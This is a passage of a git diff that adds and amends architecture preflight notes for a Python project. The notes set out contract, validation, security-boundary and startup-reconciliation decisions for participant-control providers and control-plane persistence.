preflight](issue-1072-api-407-feature-support-preflight.md). +This note closes the occurrence-to-effect binding gap. The historical +[#252 preflight](issue-252-api-409-participant-intervention-contracts-preflight.md) +predates delivered API-409, API-423 and RUN-310 code; its future-tense delivery +statements and pre-rename package/invariant names are not current instructions. + +`participant-control-occurrence-v1` already publishes eight closed variants: +proposal, approval, denial, external direction, intervention, handoff, override +and cancellation. Reuse its unchanged `ParticipantRuntimeBaseEnvelopeModel`, +ACT-617 declaration coordinates and owning contextual validator. #1072 adds +closed provider-result/effect bindings to these facts, not another occurrence +family or a reimplementation of API-409. + +## Binding decisions and limits exposed by the incumbents + +Package paths below are relative to `implementations/python/packages/`. + +- `raes_contracts/contracts/participant_control.py` owns occurrence kinds, + dispositions, proposal/decision revisions and typed targets. + `ParticipantControlDisposition` is **recorded, accepted, rejected, limited, + superseded, cancelled**. Do not expand it with provider resolution statuses, + composition conflict, capability strength or applied realization. An + accepted approval is still not action admission or execution. +- `participant_control_validation.py::validate_participant_control_occurrence_context` + owns declaration agreement, identity reuse, proposal revision/order, + transformation lineage and typed target joins. Compose it with + `participant_crossing_validation.py` and the trusted resolver entry point + in `participant_flow_control_validation.py`. API-424 adds only the missing + modular joins. A wire-supplied declaration/index cannot authenticate itself. +- The declaration join requires `actor_ref == controller_ref`; the runtime + constructs both from compiled controller authority. Mechanism instance, + producer, authenticated principal and controller are distinct identities. + Bind the requesting mechanism and rule in API-424; do not replace the + occurrence actor with a provider id or let a provider mint controller refs. +- Rejected occurrences still require declaration agreement but deliberately + skip target validation and target registration. Their presence is valid + rejection evidence, never a usable approval, fulfilled predecessor or + realized effect. Non-rejected target resolution alone also does not prove + acceptance, current authority, completion or present-cut validity. +- The validator's target index admits one revision/scope per `(kind, ref)`; + it is not a temporal history resolver. Identical event replay is accepted + there, while `raes_contracts/participant_control_history.py` forbids duplicate + stored event ids, requires contiguous occurrence revisions and preserves + the append-only prefix. Preserve these different contracts. Occurrence + revision, controller-state revision, proposal revision, effective order, + history head and transport idempotency key are not interchangeable. +- Handoff shape advances state revision by one and the contextual check + matches prior state. Those checks do not resolve resulting controller + authority or authenticate completion evidence. Override target resolution + does not by itself validate the replacement. Cancellation's declared + effect does not prove a backend was stopped. Trusted owner evidence must + establish each claimed outcome, scope, cut and causal predecessor. +- `participant_flow_control_incumbent_validation.py::_validate_control_binding` + already joins event, kind/revision, participant/episode, controller, + authority, policy revision, kind-specific identity, related refs and + predecessors. Reuse that mapping for SEM-233 bindings; do not copy a second + kind switch into each provider. It is a coordinate check, not a full + occurrence fingerprint or fulfillment predicate: disposition, target/state + details and actual effect evidence still need their owning validation. + +MPC-03 requires exact run/apparatus, participant/episode, crossing/direction, +sink/audience/destination, controller/authority, policy revision, state cut, +expected history heads, inputs/provider state, memory, clock/order and trigger +bindings. Missing applicable coordinates are not wildcards. Every contributor +retains exact profile, mechanism, implementation/protocol, configuration digest, +evidence and limitations. Declarations, installed support, effective support, +requests and observed realization remain separate claims. + +## Effect ownership and the extension seam + +| Requested effect | Required binding and boundary | +| --- | --- | +| Review | A closed API-424 obligation binds the withheld parent, exact proposal revision, supervisory authority, approval/denial refs and governed expiry/resumption. API-409 approval/denial facts do not themselves represent the outstanding obligation. Approval satisfies only that obligation; resumption reevaluates every gate at a fresh cut. | +| Direction, intervention, handoff, override, cancellation | Bind the appropriate API-409 variant and ACT-617 transition, exact target and revision, scope and authority. RUN-310 owns mediation and realized transitions. A handoff preserves participant identity and influence; cancellation cannot erase prior execution. | +| Transform, mask, route | Preserve API-423 derivation/projection/destination authority and API-409 trusted-edit lineage where applicable. Use a fresh candidate/proposal and new admission; source approval, admission and idempotency cannot transfer. Route is not controller handoff; masking is not declassification. | +| Inject | Preserve DSL-111 occurrence, DSL-142 addressee/delivery and API-423 disclosure. Bind API-409 only for directions/control changes. IFC-triggered content retains both source and trigger influence; scheduling is not delivery or observation. | +| Delay, interrupt, shutdown | Publish the missing closed request bindings, using API-421/RUN-308 time and RUN-310 lifecycle owners. Explicitly distinguish participant, episode, execution scope and run targets; do not turn `ParticipantControlTargetKind` into a universal enum. Pause, cancel, interrupt and terminate are distinct; no PID/native handle or process signal is portable authority. | +| Audit, permit, deny, withhold | Reuse existing evidence/audit and API-423 disposition/projection owners. A denied parent may cause a separately authorized audit/review only under its admitted rule; there is no new output channel. | + +The seam is a closed typed request binding parameterized by owner/target, +rule/revision, authority, exact context, causal root/predecessors, phase and +bounded parameters/artifact references. An operator-bound provider protocol +belongs in `raes_backend_protocols`; plain data/shared validation stay in +`raes_contracts`. A second implementation of the same profile changes admitted +implementation/configuration/evidence bindings, not profile meaning or API-409 +history. New effect meanings require governed closed variants/revisions, not +callbacks or open `effects`, `policy`, `taint`, `labels`, `context`, `plugin` +or mechanism-metadata maps. + +Retain MPC-07/10–12: incompatible targets/replacements conflict; provider order +is not precedence. Required predecessor effects withhold the parent; subsequent +effects have separate outcomes. Logical effect identity is `(run, trigger root, +rule id/revision, slot, admitted firing epoch)`, independent of retries/cuts. +Same key/different canonical intent conflicts. Attempts preserve the allocated +identity, causal budgets and expiry across handoff/reset/restart. Uncertain +external dispatch stays indeterminate until exact owner evidence resolves it. + +## Cross-cutting gates to reuse + +These are contract obligations and downstream integration constraints, not +claims that #1072 implements runtime enforcement. + +| Layer | Canonical incumbent and required satisfaction | +| --- | --- | +| Bytes and shape | `raes_contracts/json_ingress.py::parse_bounded_json_object`, bounded reads/byte/depth limits, `ContractModel`, shared scalar/schema constraints and discriminated variants. Reject duplicate keys and unknown fields; check finite numbers even for overflow such as `1e999` and direct Python inputs. Closure is not strict typing, bounded size, redaction or deep immutability. Detach and freeze nested provider inputs without globally tightening existing carriers. | +| Semantic joins and conformance | The API-409/API-423/SEM-233 validators above, `contracts/schema_invariants.py` and `x-raes-invariants`, with `raes_conformance/conformance/validators.py`. API-409's current registry entry invokes model validation, not the multi-record declaration join; do not report it as contextual evidence. Trusted resolution must establish applicable cuts, evidence, authority and owner outcomes; schema-valid dishonest claims remain contextual failures. | +| Configuration, artifacts and support | `participant_configuration.py`, `contracts/experiment_bindings.py` owner/type/normalization checks, `_canonical.py`/`satisfiability.py` digests, `participant_flow_policy_profiles.py` exact safe revision/digest loading and packaged `corpus.py`. Use `manifest_authority.py`, `contracts/feature_support.py`, `participant_manifests.py` and `raes_backend_protocols/participant_feature_admission.py`; importability, method presence or manifest text is not realized support. No caller-selected paths, latest fallback or executable selectors. Canonicalize set-valued arrays before hashing; a digest establishes neither trust nor disclosure permission. | +| Authentication and live authorization | Later adapters retain `ControlPlaneSecurityConfig.strict_defaults()`, `control_plane_api/_auth.py`, role/target bindings and `RequestSizeLimitMiddleware`. `participant_control_mediation.py` resolves compiled transitions through `ControlPlaneIdentity.participant_control_subjects`; the caller-intent DTO in `participant_control_intents.py` is deliberately not the runtime-owned occurrence. Preserve that trust split. Independently conjoin `participant_binding.py` action admission, crossing/projection and `participant_flow_sink.py` final-sink gates; provider permit or supervisory approval cannot bypass them. | +| Secrets, environment and host | Safe bounded refs only: no prompt, credential, private state, raw rejected payload, native handle or external-apparatus detail. Evidence existence, reason and timing also require audience projection. No new environment bag or executable loading is needed. Later environment consumers retain `raes/runtime_environment.py::RuntimeEnvironmentVariable` name/source/exclusivity checks and `runtime_values.py::enforce_observed_value_redaction`. No payload/secret in argv, shell interpolation, filenames or stdout/stderr; installation and host isolation remain operator/backend responsibilities. | +| Errors and observability | Reuse `raes_contracts/diagnostics.py`, existing dispositions/receipts, `backend_result_diagnostics.py`, coarse `_participant_routes.py`/`_responses.py` errors and `_operation_routes.py` redacted 422/500 handlers and rejection auditing. `portable_diagnostic_payload` validates shape; it does not redact. Sanitize messages and addresses before serialization; never expose raw `ValidationError`, provider exception text, unknown keys or model reprs. Conformance uses its own sanitizer without reverse imports. Retain SEM-224 planes and SEM-220/226/230 audience projection; add no exception tree, logger or audit channel. | +| Persistence and dispatch | `RuntimeSnapshot.participant_control_history`, `participant_control_history.py`, `ControlPlaneStore`/`AtomicControlPlaneStore`, `commit_control_transition`, both memory/local stores, receipts and `AuditEvent` are the incumbents. No snapshot metadata authority or separate trigger/history store. RUN-320 owns modular atomic state/intent/budget commits, invocation fencing and recovery. A local commit, accepted occurrence or shape-valid receipt proves neither external success nor exactly-once effects. | +| Publication, packages and workflow | Follow `contracts/README.md`, ADR-009/061, normative `contracts/schemas`, v2 publication index/per-contract entries and removal tombstones; keep `schema_bundle()` parity and explicit `tools/generate_contract_schemas.py` routing (default is control-plane). Preserve exports, installed corpus packaging in `implementations/python/pyproject.toml`, manifest allowlists, concept placement, invariant/observability annotations and lineage. Respect `tools/policy/adr_policy.yaml` dependency directions. `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, `tools/nox_support/`, schema-publication/generated-schema, authority/concept and lineage checks remain the workflow. | + +Use `RAES_REQUIREMENT_UID=API-409` for this requirement-specific preflight; +#1072 implementation belongs to API-424's `modular-control-contracts` phase in +`tools/policy/requirement_order.yaml`. API-409's earlier delivery phase does not +waive #1070 or authorize implementation under the semantic-publication phase. +Keep DOCUMENTS versus IMPLEMENTS/TESTS traceability honest; no implementation +delivery or lineage derivation claim follows from this note. + +## Acceptance evidence and exclusions + +Reuse API-409 model/schema/fixture tests in +`implementations/python/tests/test_api_409_participant_control_occurrences.py`, +API-423 crossing tests, `test_sem_233_flow_control_contracts.py`, and +`test_run_310_supervisory_lifecycle.py` patterns. Contract acceptance needs +multi-mechanism and IFC-triggered-inject examples plus counterexamples for +forged controllers/evidence, rejected occurrence as fulfillment, wrong target +revision/cut, handoff with unresolved completion, stale approval after transform, +expired review, incompatible effects, unsupported lifecycle scope, authorized +downgrade versus dishonest support, replay/content conflict and secret-bearing +errors. Separate schema-invalid fixtures from valid shapes rejected by trusted +context, and exercise installed-package imports/resources. Bounded fixtures +prove neither backend realization nor noninterference/bisimulation. + +Non-goals: no executable plugin loading, concrete provider selection, runtime +effect execution, new endpoint, controller state machine, persistence migration, +validation framework, exception hierarchy or workflow runner. Do not broaden +the common envelope or clone occurrence, action, crossing, evidence or audit +schemas. No generic intervention substitutes for review, delay or shutdown; +no advisory result grants authority; no transformation, handoff or cancellation +erases history/influence. Runtime delivery remains #1069/RUN-320; reusable +assurance remains #1071/ASR-538. diff --git a/docs/decisions/issue-1072-api-424-provider-contracts-preflight.md b/docs/decisions/issue-1072-api-424-provider-contracts-preflight.md new file mode 100644 index 000000000..24cb6347c --- /dev/null +++ b/docs/decisions/issue-1072-api-424-provider-contracts-preflight.md @@ -0,0 +1,240 @@ +# Issue #1072 — API-424 provider-contract architecture preflight + +Date: 2026-09-20. Scope: contract publication, not implementation sequencing. + +## Authority and scope + +[ADR-108](adrs/adr-108-modular-participant-control-and-governed-effects.md) and +[PC-01–PC-15](../research/modular-participant-control/composition.md), accepted +at `ebb70a34b8e7d1cc8964c443841ae57e12ed1014`, settle the architecture. +[SEM-235 revision 1](../../specs/formal/participant-semantics/modular-participant-control.md) +is present in this checkout (semantic publication commit `65ca8e41`), including +`teaching-influence/rev1` and its two-token domain. Consume that publication, +its [concept placement](../../specs/concept-authority/participant-control.md), +and its bounded semantic witnesses; do not derive a competing algebra from +the older design model. Downstream consumers still need exact released +artifacts: local presence, a requirement UID, or DRAFT status is not release +or runtime evidence. No new ADR or amendment is needed for these guardrails. + +The public protocol belongs in `raes_backend_protocols`; portable data and +shared contract validation belong in `raes_contracts`. Follow the existing +`protocols.py` structural-protocol/export conventions, without importing the +runtime or a concrete backend into the contract boundary. RUN-320/#1069 owns +orchestration and replacement of the implicit `resolve_flow_sink_decision` +hook in `raes_runtime/participant_flow_sink.py`. API-424 must not change that +hook, disable default final-sink enforcement, or claim an installed provider. + +## Contract decisions + +- Publish closed, versioned selection, capability, context, result, + composition and effect bindings. Keep profile identity, mechanism instance, + IFC domain, policy revision, protocol version and implementation artifact + distinct. Participant-control profiles are not semantic interoperability + profiles, SDL extension profiles, SEM-234 backend-allocation profiles, SDL + module composition, or control-plane workflow composition. +- Bind the complete MPC-03 context: run/apparatus, participant/episode, + subject/crossing/direction, sink/audience/destination, controller/authority, + policy revisions, state cut, expected history heads, provider-state and + input references, memory scope, governed time/order, trigger root and + predecessors. Missing applicable coordinates must not become wildcards. + Profile/mechanism/implementation/configuration identities, digests, + evidence and limitations travel with each contributor. New bindings never + rewrite historical ones; shared-instance deduplication requires the entire + binding, state scope and input set, retaining every selecting profile. +- Separate resolution status from the discriminated payload (IFC fact, + deterministic decision, advisory assessment, effect request), composition + disposition, and realization. Preserve missing, unknown, unsupported, + abstain, deny, withhold, conflict, stale, failed, weakened and applied in + their owning coordinates. A provider cannot report applied as execution + authority. Mandatory fact slots need valid facts; decision slots need + permits. Advice cannot satisfy either by implication. +- Retain all contributors and blocking reasons in canonical instance/slot + order, including optional failures. Validate finite bounds before accepting + a composition; never silently truncate its evidence. Typed acyclic + dependencies and pinned stochastic inputs support deterministic composition; + arrival order, lexical identity and specificity supply no precedence. +- Resolution receives immutable, detached admitted inputs and proposes a next + provider-state reference. It cannot mutate authoritative state, another + provider's inputs, or perform participant/world effects. **`ContractModel` + only sets `extra="forbid"`; it is neither strict nor frozen.** Use suitable + strict primitives and immutable nested containers for new protocol values; + a frozen wrapper around mutable models/lists/maps is insufficient. Do not + globally freeze or tighten incumbent carriers. References expose no private + provider memory or executable continuation. External monitor computation + needs separately admitted apparatus/resource/disclosure authority. +- Preserve SEM-233's two-coordinate algebra and exact profile/digest loader. + Teaching influence is a separate closed domain, not a third coordinate or + arbitrary token registry. Missing source coverage is not bottom; editing, + reset and handoff do not erase influence. A future domain needs published + algebra, encoding, source/sink and release relations, fixtures and a closed + contract variant. Unknown revisions and cross-domain coercions fail closed. + MPC-04 requires a conservative upper-bound join, not a least-upper-bound + theorem. `teaching-influence/rev1` has exactly `coached-hint` and + `worked-example`, canonical duplicate-free lexical encoding, and **no release + relation**. A trusted teacher cannot remove influence under revision 1. + Its permissive practice/observation sinks still require propagation facts; + an unclassified source or ungoverned sink cannot inherit that permission. +- Unresolved applicability is an admission failure, not an inapplicable slot. + A required profile's absence blocks apparatus admission. Selecting even a + pre-admitted alternative needs a recorded transition at a new cut, effective + support validation and disclosed weakening; it cannot silently delete an + overlapping profile's mandatory obligations (MPC-01). + +## Reuse incumbent carriers; close the actual gaps + +Package paths below are relative to `implementations/python/packages/`; +`contracts/` in the reuse table abbreviates `raes_contracts/contracts/`. + +| Concern | Canonical incumbent and required boundary | +| --- | --- | +| Closed data and scalar constraints | `raes_contracts/_base.py`, `contracts/base.py`, `contracts/schema_constraints.py`, `contracts/schema_factoring.py`. Reuse primitives/discriminators; no new DTO base or parallel schema framework. | +| Canonical content and digest | `raes_contracts/_canonical.py::canonical_json_bytes` / `canonical_json_digest` and `satisfiability.py::canonical_contract_digest`. Reuse JCS/SHA-256 for new canonical contract content; preserve incumbent artifact-specific digest rules. Define the exact hashed projection and canonical ordering of set-valued arrays; JCS does not reorder arrays. A digest is not execution identity or permission. | +| Occurrence envelope | `contracts/participant_envelopes.py` and `ParticipantRuntimeBaseEnvelopeModel`. Reuse for participant occurrences, without adding mechanism fields to every incumbent event. Selection/relation documents do not need a fabricated event. | +| Action and control authority | `raes_contracts/participant_binding.py`, `participant_action_arguments.py`, `contracts/participant_control.py` and `participant_control_validation.py`. Reference proposal, approval/denial, intervention, handoff, override and cancellation identities; do not copy their payloads or lifecycles. | +| Crossings and IFC | `contracts/participant_crossing.py`, `participant_crossing_validation.py`, `participant_flow_control.py`, `participant_flow_control_context.py`, `participant_flow_control_validation.py`. Reuse typed subjects, policies, cuts, sinks and legacy joins; do not force non-IFC mechanisms into the SEM-233 relation shape. | +| Inject, exposure and time | DSL-111/142 `ParticipantInjectDelivery`, SEM-226 exposure records, `contracts/time_model.py`, API-421 and RUN-308. Preserve original inject identity, exact addressee/delivery/visibility and clock/expiry; scheduling is not delivery or observation. | +| Lifecycle | `raes_contracts/participant_episode.py`, `contracts/participant_execution.py`, and RUN-310 owners. Participant, episode, workflow and run scopes are not interchangeable; interrupt, cancel, pause and shutdown remain distinct. | +| Apparatus, configuration, evidence and claims | `contracts/experiment_apparatus.py`, `experiment_bindings.py`, `experiment_evidence.py`, `BehavioralClaimBindingModel`, and `raes_contracts/participant_configuration.py`. Use typed owner/configuration bindings, realization provenance and safe evidence refs; a configuration digest or implementation hash proves neither trust nor permission. | +| Declaration and support | `contracts/feature_support.py`, `participant_manifests.py`, `raes_backend_protocols/participant_feature_admission.py::resolve_participant_feature_support`. Reuse exact/bounded/disclosed-weak/unsupported and authorized downgrade evidence. Manifest declaration, installed binding, effective support at a cut, conformance and observed realization are independent facts. | + +MPC-09 is the effect-owner map. Requests need closed alternatives for all its +effects, with exact target, rule/revision, authority, predecessor/subsequent +phase, causal references and bounded parameters. In particular, existing +approval and cancellation records do **not** already supply every review, +delay or shutdown request: + +- Review binds the withheld parent, supervisory authority/obligation, + approval/denial references and governed expiry/resumption. Approval does + not itself dispatch the parent; resumption requires a fresh cut. +- Delay binds a declared clock and compatible time window/expiry. Window + intersection cannot mix incomparable clocks or become unbounded sleep. +- Interrupt/shutdown uses an explicit supported target alternative and its + owning lifecycle authority, never a PID, native handle or process signal. +- Transform/mask/route creates or references the fresh candidate and lineage + required by its owner. Handoff preserves obligations. Audit uses the + existing evidence/audit carrier and audience, not a new output channel. + +Do not overload `ParticipantControlTargetKind` into a universal target enum, +or fill absent request shapes with `effects`, `context`, `metadata`, callbacks +or a nullable universal gateway DTO. Incompatible replacements, routes, +handoffs or lifecycle outcomes conflict. Ordered dependencies and revalidation +are necessary for interacting effects; lexical sorting only serializes them. + +## Cross-cutting validation and security boundaries + +| Layer | How the intended contract design must satisfy it | +| --- | --- | +| Byte/parser ingress | Reuse `raes_contracts/json_ingress.py::parse_bounded_json_object` with explicit byte and depth limits. It rejects duplicate members, invalid roots and literal NaN/Infinity, but its current decoder accepts `1e999` as infinity. Require finite numeric validation before composition or hashing, including direct Python inputs. Bound artifact reads as well as decoded input; a parser limit after an unrestricted file read is not a memory bound. Harden shared ingress where necessary rather than introduce a second parser. | +| Portable shape | Closed normative JSON Schemas and matching `ContractModel` models reject unknown fields, branch mismatch, invalid revisions/digests, duplicate identities and invalid scalar types. Do not rely on Pydantic coercion where the schema rejects a value; test booleans as integers, numeric strings and non-finite advisory scores. Bound strings, collections and dependency graphs appropriately. | +| Exact artifact/configuration resolution | Follow `participant_flow_policy_profiles.py`: portable identifier validation before path construction, exact revision/digest lookup and `corpus.py` packaged resources, no latest fallback or caller-selected search root. Reuse `participant_configuration.py` and `contracts/experiment_bindings.py` owner/type/normalization/digest checks where configuration bindings are consumed. Provider installation config stays backend/operator-owned; portable selection cannot name import paths, commands, URLs or environment expressions. | +| Cross-record semantic authority | Follow `validate_participant_flow_control_resolved_context`: trusted non-wire indexes resolve exact subjects, evidence, authority, profile/policy, sink, cut and history. Compose API-409/API-423 and SEM-233 owning validators, adding only modular joins. Provider/caller supplied indexes cannot certify their own authority, freshness, installation or capability. A missing resolver fails closed. Do not duplicate these joins in routes, stores, backends or conformance. | +| Authentication and effect authorization | Publication adds no route or live invocation. Later consumers must retain `ControlPlaneSecurityConfig.strict_defaults()`, `_ControlPlaneApiAuth`, verified bearer/proxy identity, role/target and participant/controller/audience bindings, plus `RequestSizeLimitMiddleware`. Independently conjoin current rule scope, principal authority, target support, action admission, projection/crossing and final-sink gates. Portable authority refs are not credentials; authentication does not grant declassification or endorsement. | +| Secrets and environment shapes | Portable records and fixtures contain safe bounded refs, not prompts, credentials, private model state, raw rejected content or external-apparatus details. A string/ref/digest field is not automatically safe. Retain trusted evidence resolution and projection; hashing a secret does not authorize disclosure. No new environment/config bag is needed. If downstream integration uses node environment bindings, `raes/runtime_environment.py::RuntimeEnvironmentVariable` enforces name, `value`/`value_from` exclusivity, generated-source classification and `runtime_values.py::enforce_observed_value_redaction`; do not bypass these with provider metadata. Existing secret-reference bindings are not executable provider selectors. | +| OS/process boundary | API-424 adds no subprocess, host filesystem selector, socket, secret loader or backend launcher. Do not put provider payloads/credentials in argv, environment, temporary filenames, stdout/stderr or shell interpolation. Host/provider protection is backend responsibility and cannot be claimed from schema validity or recast as a participant attack. | +| Errors, logging and observability | Use `raes_contracts.diagnostics.Diagnostic`, existing dispositions/receipts and `raes_conformance/conformance/diagnostics.py` sanitization. Never expose raw `ValidationError`, provider exception text, input values, unknown keys, tracebacks or model reprs. Retain coarse HTTP conflict/error envelopes in `control_plane_api/_responses.py` and `_operation_routes.py`, and existing rejection auditing. No new exception tree, logger or audit channel. Apply SEM-224 plane classification (`raes/observability_plane_semantics.py`, `x-raes-plane`) and SEM-220/226/230 projection to reasons, evidence, review/withhold existence and timing as well as values. | +| Persistence and final dispatch | Contracts carry expected heads, provider-state references, logical effect identity, budgets and realization refs for existing `RuntimeSnapshot`, `ControlPlaneStore`/`AtomicControlPlaneStore`, operation receipts and `AuditEvent`. RUN-320 must extend these authorities, including both memory/local store paths, rather than snapshot metadata or a second trigger store. Contract validity does not prove atomic commit, freshness at invocation, crash durability or external execution. | + +Publish non-schema-expressible obligations using +`contracts/schema_invariants.py::_add_raes_invariant` and the existing +`x-raes-invariants` profile. Integrate with +`raes_conformance/conformance/validators.py` so schema-only validity is not +reported as resolver-backed validation. Local structural checks, shared +contextual joins and runtime freshness/authorization each have one owner; +they are complementary gates, not three copies of composition semantics. + +Diagnostic reuse must respect `tools/policy/adr_policy.yaml` package boundaries: +`raes_contracts`, `raes_backend_protocols` and `raes_runtime` cannot import +`raes_conformance` to obtain its sanitizer. Contract validators use stable, +value-independent failures; conformance uses its own existing sanitizer, and +runtime uses `backend_result_diagnostics.py` and its existing coarse envelopes. +Serialize through `raes_contracts/diagnostics.py::portable_diagnostic_payload` +where required by the transport. Its closed `DiagnosticModel` checks code, +domain, JSON-Pointer address and bounded message shape; it does not redact +sensitive text. Sanitize before constructing the diagnostic, including its +address, and do not expose provider-chosen exception class names. Rejection +audit failure must retain the original coarse response, as in +`control_plane_api/_operation_routes.py`. + +## Causal and recovery compatibility + +The contracts must represent MPC-10–12 without implementing its executor: +provider-state proposal, decision, budgets and authorized effect intent share +the existing expected-head commit. Failed commit means no dispatch; a later +head check alone is not a dispatch fence. Required predecessor effects withhold +the parent until fresh revalidation; subsequent effects have independent +outcomes and cannot erase an already applied parent. + +Logical effect identity is `(run, trigger root, rule id/revision, slot, admitted +firing epoch)`. Retry count, current cut and transport identity are not part of +that key. Same key/different canonical content conflicts; retries retain the +allocated effect identity. Preserve indeterminate external realization after +uncertain dispatch, distinct from failed and applied. No exactly-once or +cross-effect transaction claim follows from a local commit. Finite depth, +fan-out, per-root effects, per-rule firings, attempts and expiry survive retry, +handoff, reset and restart; diagnostics cannot recursively trigger effects. + +## Publication, extensibility and acceptance boundaries + +Use `contracts/schemas/` as normative authority (ADR-009/061), with matching +`contracts/bundle.py`/`bundle_runtime.py`, exports and explicit routing in +`tools/generate_contract_schemas.py`. Its default directory is `control-plane`: +a new name alone will misplace a participant-runtime contract. Use the current +v2 publication manifest's `contracts/schema-publication/entries/` and +`tombstones/`, with `last_change`/content hashes and base-revision compatibility +checks. Do not copy older preflight instructions to embed v1 ledger entries +in the manifest or use pre-rename invariant names. + +New published IDs/scopes must agree across manifest allowlists/capability +requirements, controlled vocabulary governance, concept placement, semantic +invariant and observability annotations, schema bundle, conformance registry +and installed corpus. The declaration owner is +`raes_contracts/manifest_authority.py`, consumed by the manifest models and +feature admission; a new schema ID alone is not an admissible support claim. +Follow `tools/check_generated_schemas.py`, +`check_schema_publication.py`, `check_authority_boundary.py`, +`check_concept_authority_governance.py`, `check_sdl_lineage.py`, existing public +API docs and `implementations/python/pyproject.toml` corpus packaging. Update +lineage only for an actual derivation/compatibility change, not to claim runtime +delivery. `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py` and +`tools/nox_support/` remain workflow owners; use `RAES_REQUIREMENT_UID=API-424` +when the branch lacks a UID. Add no issue-local runner or release machinery. +`tools/policy/requirement_order.yaml` assigns SEM-235 to the bounded +`modular-control-semantics` phase and API-424 to `modular-control-contracts`. +The supplied SEM-235 payload is semantic input to #1072, not authority to +classify provider/contract implementation as semantic publication or widen +that phase's path ownership. + +The extensibility seam is an operator-bound provider protocol over exact, +immutable typed context/results, with trusted resolver context supplied out of +band. Parameterize exact revisions, applicability, role/slot dependencies, +state scope, authority, resource bounds and supported effect targets. This +permits another independently installed provider for an existing semantic +profile without editing its canonical artifact or adding backend-name branches. +A new domain/effect meaning needs a governed closed revision/variant and +negotiation; an open map, structural method check or import is not that seam. +Preserve old schemas and explicitly negotiated SEM-233 behavior; do not upgrade +legacy evidence merely because a new protocol can be imported. + +Use the existing dual JSON-Schema/Python and resolver-backed patterns in +`test_sem_233_flow_control_contracts.py`, API-409/API-423 tests, SEM-235 finite +witnesses and corpus packaging tests. Acceptance evidence must cover multiple +mechanisms and order permutations; teaching/SEM-233 separation; IFC-triggered +inject and review/delay/lifecycle targets; conflicting requests; stale/mismatched +cuts and provider state; missing/abstaining/failed mandatory slots; advisory +failure; explicit weakening; dishonest support/installation claims; unknown +revisions; parser limits; mutable aliasing; secret-bearing errors; and unchanged +legacy acceptance. Distinguish schema-invalid fixtures from structurally valid +but semantically rejected records. Passing fixtures proves bounded contract +behavior, not provider realization or backend conformance. +The SEM-235 oracle's one symbolic rule node per request is an explicit model +limit, not a portable restriction: MPC-07 permits multiple effect slots for +one rule. Preserve slot-indexed bindings and test them independently. Its +assumptions about trusted resolution, immutable state and a correct dispatch +fence must not be promoted into tested contract or runtime guarantees; see +[semantic verification limits](../research/modular-participant-control/semantic-verification.md#executable-evidence-and-assumptions). + +Non-goals: no provider discovery/installation, plugin host, concrete engine, +policy interpreter, runtime invocation/composition scheduler, effect execution, +HTTP endpoint, persistence migration, backend parity claim or ASR-538 proof. +No duplicate action/crossing/inject/intervention/lifecycle/evidence hierarchy, +exception hierarchy, schema registry, validation framework or workflow logic. diff --git a/docs/decisions/issue-1092-local-control-plane-durability-preflight.md b/docs/decisions/issue-1092-local-control-plane-durability-preflight.md index c5f6735e0..68afc0478 100644 --- a/docs/decisions/issue-1092-local-control-plane-durability-preflight.md +++ b/docs/decisions/issue-1092-local-control-plane-durability-preflight.md @@ -4,6 +4,22 @@ Date: 2026-08-11 Issue: #1092. Requirement: API-404. +> **Superseded recovery guidance:** ADR-104 and the issue #1179 startup +> reconciliation preflight supersede this note's original blanket +> interrupted-to-`FAILED` conversion and store-owned +> `reconcile_interrupted_records()` compatibility workflow. The durability, +> transaction, codec, filesystem, and lease decisions below remain in force; +> current recovery must preserve non-terminal claims until the runtime-owned +> CP-3 classifier can observe and atomically commit `FAILED`/`CANCELLED`, +> `SUCCEEDED`, or `INDETERMINATE` with its actor-bound audit. +> +> **Superseded ownership guidance:** ADR-104 CP-5 and the issue #1183 store +> ownership lease preflight supersede this note's constructor-time provider +> access and allowance for independent unleased maintenance/read instances. +> Durable provider schema, migration, metadata, and state access now requires +> the exclusive lease and immutable target/run scope admission. Shutdown closes +> the provider before releasing that lease. + ## Decision `LocalControlPlaneStore` remains the single-host reference persistence owner, diff --git a/docs/decisions/issue-1179-startup-reconciliation-preflight.md b/docs/decisions/issue-1179-startup-reconciliation-preflight.md new file mode 100644 index 000000000..6383259f2 --- /dev/null +++ b/docs/decisions/issue-1179-startup-reconciliation-preflight.md @@ -0,0 +1,346 @@ +# Issue 1179 Startup Reconciliation Preflight + +Date: 2026-09-17 + +Issue: #1179. Requirement: `API-404`. Parent decision: ADR-104. Work +package: CP-3. + +## Decision + +Startup reconciliation belongs to `RuntimeControlPlane`, between validated +store admission and public readiness. It is not a persistence-provider +responsibility. The runtime loads the authoritative snapshot and operation +records through their strict codecs, finds every `ACCEPTED` or `RUNNING` +record, obtains a backend-neutral effect observation when one is available, +and closes each record through the existing atomic terminal-commit seam. + +The store remains responsible for integrity, migration, codecs, atomic +records, revision compare-and-swap, and audit persistence. `RuntimeTarget` +remains responsible for composing backend components and matching them to the +backend manifest. A store must never import a backend package, call a native +API, or interpret backend effect state. + +Reconciliation is classification, not resumption. Startup, timeout, +cancellation, a disconnected client, and an idempotent retry must never call +an apply, start, stop, reset, participant action, or other effect method for an +existing operation. Only the narrow recovery-observation method may run, and +its contract is read-only. + +## Startup and readiness boundary + +The current construction boundary is the readiness boundary: a +`RuntimeControlPlane` must not escape its constructor, and a FastAPI app must +not be composed around it, until reconciliation has completed or startup has +failed closed. The required order is: + +1. validate the typed target and explicit control-plane configuration; +2. acquire and verify the one runtime-owner lease using only the minimum + provider admission needed to identify and lock the store; +3. complete the remaining provider filesystem, schema, migration, WAL, and + integrity admission; +4. load and strictly decode the snapshot, operation records, and immutable + operation contexts; +5. validate persisted runtime semantics and target/manifest/component shape; +6. reconcile every non-terminal record under the one mutation authority; and +7. publish only the committed store state as derived caches, then become + ready. + +No recovery callback runs before the lease and the validated record load. +Failure in migration, integrity, codec, target shape, or lease admission aborts +startup; it is not converted into an `INDETERMINATE` operation. A failed or +uncertain reconciliation commit also aborts readiness and releases the lease. +It never leaves a partially initialized control plane available to callers. + +ADR-104 requires lease admission before schema inspection and migration. The +current `LocalControlPlaneStore` performs some provider initialization in its +own constructor, before `RuntimeControlPlane` acquires the runtime lease. CP-3 +must not claim that this earlier CP-5 ordering gap is solved merely because its +own observer runs later. It does, however, require a positive lease check and +all provider/codec gates to have completed before the first observation. + +## Closed classification and persistence + +The recovery vocabulary is one closed enum with exactly `effect-absent`, +`effect-applied`, and `indeterminate`. It is not another operation lifecycle, +workflow state, participant state, evidence status, or provider exception +hierarchy. + +| Classification | Terminal result | Commit mode | Required diagnostic | +| --- | --- | --- | --- | +| effect absent | `FAILED`, or 